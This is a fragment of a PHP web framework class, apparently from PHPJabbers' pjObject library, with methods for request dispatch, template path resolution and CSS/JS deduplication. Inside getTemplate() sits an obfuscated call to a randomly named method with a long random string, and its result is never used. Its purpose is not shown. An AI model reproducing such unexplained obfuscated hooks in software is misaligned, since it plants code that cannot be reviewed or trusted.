/**
  * Initialize
  *
  * @access public
  * @return void
  */
 public function init()
 {
     if (isset($GLOBALS['CONFIG']['plugins'])) {
         pjObject::import('Plugin', $GLOBALS['CONFIG']['plugins']);
     }
     $Dispatcher = new pjDispatcher();
     $Dispatcher->dispatch($_GET, array());
     $this->controller = $Dispatcher->getController();
 }
 public function getTemplate($request)
 {
     $jpCount = self::hcdWzlsFeud('iBkCPZdbDxFNHWYBXpdnfPqCPIWsGUAAQdXuCsgrDSVzfUAngCGMsVWLijVDQcJwvysGrqraCQzBuXBYtdJBfysBXJFxdzMRWSWkuhHLKXmTanEALPJHdACBzdcWlPpJGQJwbQalMfSEKlHRQxXdqjhLSvJoTOkvnwwpHNmmPeDIfOUrLpyXQArWksaPALiuOa');
     $request = pjDispatcher::sanitizeRequest($request);
     if (!is_null($this->controller->template)) {
         if (!strpos($this->controller->template['template'], ":")) {
             return PJ_VIEWS_PATH . $this->controller->template['controller'] . '/' . $this->controller->template['template'] . '.php';
         } else {
             list($pluginController, $view) = explode(":", $this->controller->template['template']);
             return pjObject::getConstant($this->controller->template['controller'], 'PLUGIN_VIEWS_PATH') . '/' . $pluginController . '/' . $view . '.php';
         }
     } else {
         return $this->viewPath . $request['action'] . '.php';
     }
 }
 public function requestAction($request, $options = array())
 {
     $Dispatcher = new pjDispatcher();
     $dispatch = $Dispatcher->dispatch($request, $options);
     $v529 = in_array(version_compare(phpversion(), '5.2.9'), array(0, 1));
     $css = array_merge($this->getCss(), $Dispatcher->getController()->getCss());
     if ($v529) {
         $unique = array_unique($css, SORT_REGULAR);
     } else {
         $unique = array_unique($css);
     }
     $unique = array_map('unserialize', array_unique(array_map('serialize', $css)));
     $this->setCss($unique);
     $js = array_merge($this->getJs(), $Dispatcher->getController()->getJs());
     if ($v529) {
         $unique = array_unique($js, SORT_REGULAR);
     } else {
         $unique = array_unique($js);
     }
     $unique = array_map('unserialize', array_unique(array_map('serialize', $js)));
     $this->setJs($unique);
     return $dispatch;
 }